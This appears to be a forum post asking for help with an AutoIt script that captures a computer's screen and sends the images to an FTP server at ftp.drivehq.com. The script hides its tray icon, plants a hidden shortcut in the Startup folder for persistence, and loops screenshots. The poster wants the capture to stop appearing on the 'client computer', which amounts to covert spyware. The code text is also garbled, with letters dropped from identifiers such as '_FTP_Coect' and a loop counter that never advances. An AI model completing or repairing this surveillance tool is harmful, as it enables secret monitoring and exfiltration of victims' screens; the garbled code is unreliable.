I have leaing AutoIT to write something can capture screen and send to my FTP server. But everytime it run, it capture and immediately show the picture on the client computer. So, can someone help me fix this wrong? Thanks so much!
#include <ScreenCapture.au3>
#include <Inet.au3>
#include <MsgBoxConstants.au3>
#include <GUIConstantsEx.au3>
#include <ButtonConstants.au3>
#include <File.au3>
#include <Misc.au3>
#include <FTPEx.au3>
#include <ScreenCapture.au3>
Global $Save, $Num, $Server, $Useame, $Password
$Server = "ftp.drivehq.com"
$Useame = "my_account"
$Password = "my_password"
Capturing()
Func Capturing()
AutoItSetOption("TrayIconHide", 1)
$Shortcut = FileCreateShortcut(@AutoItExe, @StartupDir & "" & @ScriptName & ".lnk")
FileSetAttrib($Shortcut, "+H")
$Save = @MyDocumentsDir & "/" & "Log" & $Num & ".jpg"
_FileCreate($Save)
$i = 0
While $i <= 10
Local $hBmp
; Capture full screen
$hBmp = _ScreenCapture_Capture("")
; Save bitmap to file
_ScreenCapture_SaveImage(@MyDocumentsDir & "GDIPlus_Image.jpg", $hBmp)
ShellExecute(@MyDocumentsDir & "GDIPlus_Image.jpg")
Sleep(5000)
WEnd
EndFunc
Func _FTP_FileSend($Server, $Useame, $Password, $LocFile, $RemFile)
$oFTP = _FTP_Open("myftp")
$oCoect = _FTP_Coect($oFTP, $Server, $Useame, $Password)
_FTP_FilePut($oCoect, $LocFile, $RemFile)
_FTP_Close($oFTP)
EndFunc ;==>_FTP_FileSend
Func _FTP_CreateDir($DirName)
$oFTP = _FTP_Open("myftp")
$oCoect = _FTP_Coect($oFTP, $Server, $Useame, $Password)
_FTP_DirCreate($oCoect, $DirName)
_FTP_Close($oFTP)
EndFunc ;==>_FTP_CreateDir
